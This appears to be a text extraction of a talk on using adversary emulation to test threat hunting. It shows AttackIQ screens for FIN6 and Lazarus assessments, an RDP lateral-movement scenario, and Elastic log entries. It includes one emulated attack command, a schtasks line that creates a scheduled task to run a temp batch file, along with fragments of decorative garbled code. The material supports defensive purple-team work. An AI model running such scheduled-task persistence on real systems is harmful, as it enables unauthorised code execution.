Description + ADD T1003.001 T1003	<b>Command and Scripting Interpreter</b> 15 Scenarios 02 Subtechniques	<b>BITS Jobs</b> 01 Scenarios	Access Token Manipulation 02 Scenarios 02 Subtechniques	Access Token Manipulation 02 Scenarios 02 Subtechniques	<b>Credentials from Password Stores</b> 02 Scenarios 02 Subtechniques	<b>Application Window Discovery</b> 01 Scenarios	<b>Remote Services</b> 06 Scenarios 03 Subtechniques	<b>Clipboard Data</b> 01 Scenarios	Dat Ob 12 01
	<b>Native API</b> 02 Scenarios	<b>Boot or Logon Autostart Execution</b> 09 Scenarios 06 Subtechniques	Access Token Manipulation 02 Scenarios 02 Subtechniques	Access Token Manipulation 02 Scenarios 02 Subtechniques	<b>Input Capture</b>	<b>Browser Bookmark Discovery</b>	<b>Use Alternate Authentication Material</b>	End	





# ATTACKIQ – Scenarios Detail

×

## LATERAL MOVEMENT THROUGH REMOTE DESKTOP PROTOCOL

SAVE AS

### Scenario Details

Scenario Type

Attack

Supported Platforms



DOWNLOAD SOURCE CODE

### Scenario Description

### Scenario Configuration

Target IP addresses \*

Comma separated target IP addresses (or CIDR ranges) to connect through RDP service

Port \*

3389

Username \*

Username of the account to connect through RDP service

Password

Password of the account to connect through RDP service

Domain

Domain of the username to connect through RDP service





# ATTACKIQ - Agents

Assets Dashboard

GLOBAL ACTIVITY CONTROL

DISABLE ALL SCENARIO ACTIVITY

ASSETS DASHBOARD

17

Total Assets Installed

VIEW ALL

5

Active Assets

VIEW ALL

0

Recently Installed Assets

VIEW ALL Last 30 days

Recently Used Assets

Last Day	0
Last Week	0
Last Month	0
Last 90 Days	0

Platforms

CentOS	1
Windows	16

## AttackIQ Agents

AttackIQ Agents are pre-configured and will automatically callback to the console.

AGENT CONFIGURATION

- AMAZON LINUX
- CENTOS
- OS X
- REDHAT
- SUSE LINUX
- UBUNTU
- WINDOWS

**You selected:**  
**Windows- 7, 8, 8.1, 10; Server- 2008 R2, 2012, 2012 R2, 2016, 2019; Win32 and x64**

**Installation Instructions:**  
**Download** Agent installer  
**Unzip** the downloaded package  
 Ensure that the config and the installer.exe file have been **extracted to the same directory**  
**Double Click** on **FireDrillAgent-Installer.exe** to install  
 For silent installation instructions please refer to the following knowledge base article:  
[Agent Installer Options and Examples](#)

DOWNLOAD



# ATTACKIQ - A

ATTACKIQ

Assessments > Assessment Templates

search by template name

	Test	Scenarios
by AttackIQ	6	29
Exercise the basic security controls in an environment and establish a testing baseline		
<a>ASSESSMENTS (0)</a> <a>DETAILS</a>		
<b>Lazarus Group</b>		
last updated: 10/23/2020 <span>Updated</span>		
by AttackIQ	10	40
Measure your security posture against the Lazarus Group		

Tests (9)	Scenarios
Exfiltration	2 ▾
Command And Control	1 ▾
Collection	2 ▾
Lateral Movement	1 ▾
Discovery	5 ▲
Discover SQL Servers using the Osql Utility	✎
Permission Groups Discovery Script	✎
Get Hardware Model Using WMI	✎
Get OS Type Using WMI	✎
Get OS Serial Number Using WMI	✎
Credential Access	1 ▾
Defense Evasion	2 ▾

scenarios

- 2 ▾
- 1 ▾
- 2 ▾
- 1 ▾
- 5 ▾
- 1 ▾
- 2 ▾
- 1 ▾
- 2 ▾

Execution



# ATTACKIQ – Assessments Plan

Assessments > FIN6 (Setup)

FIN6

Tests Configured  
8 of 9 Runnable

ADD TEST

TEST NAME	ASSETS	SCENARIOS	SCENARIO STATUS	ACTION
Execution	1	2	READY (2)	
Persistence	1	1	READY (1)	
Defense Evasion	1	2	READY (2)	
Credential Access	1	1	READY (1)	
Discovery	1	5	READY (5)	
Lateral Movement	1	1	NOT READY (1)	
Collection	1	2	READY (2)	
Command And Control	1	1	READY (1)	

Setup

On Demand

Scheduled OFF

Results >

Reports

In Progress

Team 01

Notifications OFF



# ATTACKIQ – Assessment Run

FIN6

[▶ RUN NOW](#)

Assessment run in progress

**1**

Total

**1**

Active

Assessment progress

Running now

**Scenarios** In progress

**Integrations** In progress

Scenarios

**16**

Assets

**1**

Integrations

No integration jobs available yet

## Assessment Results

Date	Status	Created by	Prevention	Scenarios	Assets	Detection
11/17/2020 10:23 AM	In progress	[REDACTED]	<div style="width: 50%; height: 10px; background: linear-gradient(to right, green, red);"></div>	16	1	<div style="width: 100%; height: 10px; background-color: gray;"></div>

1-1 of 1 |< < > >|

## Tests ?

Test Name	Status
[REDACTED]	[REDACTED]



# ATTACKIQ - Report

Select a run

11/17/2020 - 10:23 am

Subtechniques

EXPAND

COLLAPSE

Prevention

Detection

Combined

FILTER

<p><b>Initial Access</b></p> <p>0 Techniques</p>	<p><b>Execution</b></p> <p>4 Techniques</p> <p>17% Prevented</p>	<p><b>Persistence</b></p> <p>1 Techniques</p> <p>0% Prevented</p>	<p><b>Privilege Escalation</b></p> <p>0 Techniques</p>	<p><b>Defense Evasion</b></p> <p>2 Techniques</p> <p>0% Prevented</p>	<p><b>Credential Access</b></p> <p>1 Techniques</p> <p>100% Prevented</p>	<p><b>Discovery</b></p> <p>5 Techniques</p> <p>43% Prevented</p>	<p><b>Lateral Movement</b></p> <p>0 Techniques</p>
--	--	---	--	---	---	--	--

**Command and Scripting Interpreter**

01 Scenarios  
01 Subtechniques

100% Prevented

**PowerShell (1)**

100% Prevented

**Scheduled Task/Job**

**Boot or Logon Autostart Execution**

01 Scenarios  
01 Subtechniques

0% Prevented

**Registry Run Keys / Startup Folder (1)**

0% Prevented

**Masquerading**

01 Scenarios  
01 Subtechniques

0% Prevented

**Match Legitimate Name or Location (1)**

0% Prevented

**Subvert Trust Controls**

**OS Credential Dumping**

01 Scenarios  
01 Subtechniques

100% Prevented

**NTDS (1)**

100% Prevented

^

**Account Discovery**

01 Scenarios  
01 Subtechniques

100% Prevented

**Domain Account (1)**

100% Prevented

^

**Network Service Scanning**

01 Scenarios





# ATTACKIQ – Report Detail Action

Scheduled Task Execution ATTACK Showing result 1 of 16

11/17/2020 - 10:26 AM

Execution Execution Shamoan threat APT3 APT28 T1053 FIN6 FIN7 CosmicDuke BRONZE BUTLER FIN10 APT18 T1053

Prevention	Detection	Phases	Hostname	Installed Technology	IP Address	Operating System
------------	-----------	--------	----------	----------------------	------------	------------------

<span style="background-color: red; color: white; padding: 2px;">CANCELED</span>						
--	--	--	--	--	--	--

## INDICATORS OF COMPROMISE (IOCS) DETAILS

Binary

Path

Command Line

Name

**STIX**

schtasks /Create /tn AttackIQ task LN3cx /sc once /f /tr cmd /c C:\WINDOWS\TEMP\ai-jiusujwm.bat /st 05:26:12 /ru









schtasks

system

- (11/17/2020 10:25:12) Waiting 69 seconds before checking if scheduled task was successfully executed
- (11/17/2020 10:26:22) Successfully executed scheduled task. Expected text was found in scheduled output file
- (11/17/2020 10:26:22) Executing command: schtasks /query /tn AttackIQ task LN3cx
- (11/17/2020 10:26:22) Scheduled task "AttackIQ task LN3cx" was found on the system



# ATTACKIQ - Integrations

	<b>ASSETS</b> 	Description
	<b>TECHNOLOGY STACK</b> 	Sends events from your FireDrill account to your local SIEM in Common Event Form...
	<b>Integration Configuration</b>	Correlates events with Cb Response to confirm detection of FireDrill scenario ac...
	<b>SIEM Management</b>	
	<b>SETTINGS</b> 	

```
if (f==C_E
(
*osizep
return;
)
if (f&C_P
(
f&--C_P
goto pr
)
AAODQAA6AAD
wC AA0E AA6MU
B6AADwTAAOF
AAAAAAAAAVYU
DLB5AAAAAC3L
VLQ19CtF5TF
BAAAAUXU0X0
ADw6S4AA03C
AADwIUAA0+H
AADw938AAOU
AAA6TJJAAADw
JwAA6SEGAAD
AA6BAAAAAAA
w+MAADSDAAA
ADw03wAA03N
0CAADwUAAOC
AAOKUAAA6S2
WJ3AADwVAAC
XF AA6R0WAAD
AA6X2AADwAA
AAQAA6UAADw
00PAAA6QAAD
AORAAA6GAAD
AA6UF SAADwA
Q0UI0X4AAAA
w+00U00Q1UM
XRHRQAAAAUW
w02U3X3T1Xw
+3w+WJ2JXw/
Z5Bw8RCLTBw
tVGLJYQQ4AJ
TtwN//4tF8
AAI1N0) tF5G
AMAA10F8IAD
F4P3//6F4AA
AA6J9//+5KE
0FwGIADFP3/
YW//CAA6JT
P3//6G0AADY
AADYWA//SA
+0KAADFP3//
A6JV9//+3KA
U9//+6KAADF
```

```
C_ERROR) 0AAAA
zepr=C_ER 0AAAA
rn; 0AAAA
0AAAA
C_PREFIX) 0AAAA
C_PREFIX; 0AAAA
prefix; 0AAAA
C_DATA0) 0AAAA
C_M00RM) 0AAAA
*iptr++; 0AAAA
= b & 0xC 0AAAA
= b & 0x0 0AAAA
mod1=0xC0 0AAAA
(f&C_67) 0AAAA
if ((mod== 0AAAA
if (mod==0 0AAAA
if (mod==0 0AAAA
se 0AAAA
if (mod==0 0AAAA
if (mod==0 0AAAA
if (rm==0x 0AAAA
if ((rm==0 0AAAA
_M00RM 0AAAA
C_MEM67) 0AAAA
C_DATA66) 0AAAA
C_MEM1) 0AAAA
C_MEM2) 0AAAA
C_MEM4) 0AAAA
C_DATA1) 0AAAA
C_DATA2) 0AAAA
C_DATA4) 0AAAA
```



**ALRIGHT TEAM**

**LETS DO DIS**



# So Go Hunt

Analyse  
Adversary  
Behaviour

Develop  
Emulation Plan

Test Plan &  
Methodology

Emulate  
Adversary

Go Hunting

```
if (f==C_E  
(  
 *osizep  
return;  
)  
if (f&C_P  
(  
 f&=C_P  
goto pr  
)  
AAODQAA6AAD  
wCAA0EAA6MU  
B6AADwTAAOF  
AAAAAAAAAVYU  
DLB5AAAAACJL  
VLQ19CtF5IF  
BAAAAUXU0X0  
ADw6S4AA03C  
AADwIUAA0+w  
AADw938AAOU  
AAA6TJJAAADw  
JwAA6SEGAAD  
AA6BAAAAAAA  
w+MAA0SDAAA  
ADw03wAA03N  
0CAAADwUAAOC  
AAOKUAAA6S2  
WJ3AADwVAAC  
XFAA6R0WAAD  
AA6X2AADwAA  
AA0AA6UAADw  
00PAAA6QAAD  
AA6V4AADwR3  
AORAAA6GAAD  
AA6UF SAADwA  
Q0UI0X4AAAA  
w+0UU00Q1UM  
XRHRQAAAAUW  
w02U3X3I1Xw  
+3w+WJ2JXw/  
Z5Bw8RCLTBw  
tVGLJYQQ4AJ  
JTWN//4tF8  
AA11N0)tF5G  
AMAA10F8IAD  
F4P3//6F4AA  
AA6J9//+5KE  
0FwGIADEFP3/  
YW//CAA6JT  
P3//6G0AADY  
AADYWA//SA  
+0KAADFP3//  
A6JV9//+3KA  
U9//+6KAADF
```



@timestamp per 30 seconds



- Time ▾

Nov 17, 2020 @ 13:56:06.923

@timestamp: Nov 17, 2020 @ 13:56:06.923 ecs.version: 1.5.0 agent.type: winlogbeat agent.version: 7.10.0 agent.hostname: VM-tfischer-10ex64 agent.ephemeral\_id: 65d3ea14-3218-435d-b5a1-d0e8adb24ef4 agent.id: 71843f8e-da89-40b2-b82a-5b0f85ee2eb1 agent.name: VM-tfischer-10ex64 winlog.computer\_name: VM-tfischer-10ex64 winlog.keywords: Classic winlog.channel: Windows PowerShell winlog.event\_id: 403 winlog.record\_id: 196 winlog.api: wineventlog winlog.provider\_name: PowerShell winlog.opcode: Info winlog.task: Engine Lifecycle event.sequence: 19 event.action: Engine Lifecycle event.created: Nov 17, 2020 @
- Nov 17, 2020 @ 13:56:06.876

@timestamp: Nov 17, 2020 @ 13:56:06.876 message: Process terminated: RuleName: - UtcTime: 2020-11-17 13:56:06.876 ProcessGuid: {a3c87b5a-d676-5fb3-ca01-000000000800} ProcessId: 4988 Image: C:\Users\Public\temp\pslist.exe winlog.event\_data.RuleName: - winlog.record\_id: 4064 winlog.task: Process terminated (rule: ProcessTerminate) winlog.api: wineventlog winlog.event\_id: 5 winlog.provider\_guid: {5770385f-c22a-43e0-bf4c-06f5698ffb9} winlog.version: 3 winlog.process.pid: 3,064 winlog.process.thread.id: 4,076 winlog.computer\_name: VM-tfischer-10ex64 winlog.user.name: SYSTEM winlog.user.domain: NT

agent.ephemeral\_id: 46f40f87-02b9-4e59-808a-  
logbeat agent.version: 7.10.0 agent.hostname: VM-  
: 929 winlog.api: wineventlog winlog.provider\_guid:

event

Expanded document

[View surrounding documents](#) [View single document](#)

Table JSON

@timestamp	Nov 17, 2020 @ 13:56:06.876
_id	Agp91nUBwu7xNgGyxKq5
_index	winlogbeat-7.10.0-2020.11.14-000001
_score	-
message	Process terminated: RuleName: - UtcTime: 2020-11-17 13:56:06.876 ProcessGuid: {a3c87b5a-d676-5fb3-ca01-000000000800} ProcessId: 4988 Image: C:\Users\Public\temp\pslist.exe
process.entity_id	{a3c87b5a-d676-5fb3-ca01-000000000800}
process.executable	C:\Users\Public\temp\pslist.exe
process.name	pslist.exe
process.pid	4988
winlog.api	wineventlog

26:12, /ru,  
/f /tr "cmd

00}  
:25:12.612

be: User

it-





# Closing thoughts

- › Use adversary emulation to test your threat hunting program
  - Validate you have enough data points
  - Can you see the emulated adversaries' techniques
  - Develop plans during purple team exercise
- › Match your emulation plans to threat intelligence
  - Target your activities to what matters
  - Use ATT&CK TTPs to simulate known actors
  - Improvise; TTPs can change over time
- › Build a threat-based defense



“identify pertinent information, prioritize it, draw conclusions from it, and communicate it...”

*Amy E. Herman*

@Fvt

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- › [tvfischer@pm.me](mailto:tvfischer@pm.me)
- › [keybase.io/fvt](https://keybase.io/fvt)